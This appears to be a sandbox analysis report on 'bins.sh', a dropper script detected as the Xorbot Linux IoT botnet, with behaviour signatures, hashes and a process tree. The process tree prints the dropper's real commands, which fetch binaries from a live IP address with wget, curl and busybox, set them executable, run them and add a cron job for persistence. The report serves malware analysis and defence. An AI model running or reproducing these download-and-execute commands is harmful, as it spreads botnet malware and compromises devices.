Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27/01/2025, 17:07

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250127-vmze6aymfx
  • SHA256 e17dd81abd3d1216c664da373722d03d838c2e3370474bed8a97c190dfff246f
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2070) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:710
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:712
      • /usr/bin/wget
        wget http://94.154.35.94/bins/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
        2⤵
        • Writes file to tmp directory
        PID:717
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
        2⤵
        • Writes file to tmp directory
        PID:739
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
        2⤵
        • Writes file to tmp directory
        PID:740
      • /bin/chmod
        chmod 777 5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
        2⤵
        • File and Directory Permissions Modification
        PID:741
      • /tmp/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
        ./5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
        2⤵
          PID:742
        • /bin/rm
          rm 5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://94.154.35.94/bins/Czr0EzPahrDJYSfzYt3zTllmzQHwlSvaxe
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/Czr0EzPahrDJYSfzYt3zTllmzQHwlSvaxe
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/Czr0EzPahrDJYSfzYt3zTllmzQHwlSvaxe
            2⤵
            • Writes file to tmp directory
            PID:750
          • /bin/chmod
            chmod 777 Czr0EzPahrDJYSfzYt3zTllmzQHwlSvaxe
            2⤵
            • File and Directory Permissions Modification
            PID:758
          • /tmp/Czr0EzPahrDJYSfzYt3zTllmzQHwlSvaxe
            ./Czr0EzPahrDJYSfzYt3zTllmzQHwlSvaxe
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:760
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:762
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:764
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:766
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:767
              • /bin/rm
                rm Czr0EzPahrDJYSfzYt3zTllmzQHwlSvaxe
                2⤵
                  PID:778
                • /usr/bin/wget
                  wget http://94.154.35.94/bins/S0fEMXLjNqMcNxJXdi6bGpMwrAUynhs6lg
                  2⤵
                    PID:783
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/S0fEMXLjNqMcNxJXdi6bGpMwrAUynhs6lg
                    2⤵
                      PID:784

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
                        • Path /tmp/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
                        • Size 119KB
                        • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        Czr0EzPahrDJYSfzYt3zTllmzQHwlSvaxe
                        • Path /tmp/Czr0EzPahrDJYSfzYt3zTllmzQHwlSvaxe
                        • Size 151KB
                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.mg7I9Z
                        • Path /var/spool/cron/crontabs/tmp.mg7I9Z
                        • Size 210B
                        • SHA256 f6d6d42b64065f2eae5226a98486ac41d87679cadc6f1e6d1a1b09e243a231e1
                        • MD5 SHA1 SHA512
                        Submit Download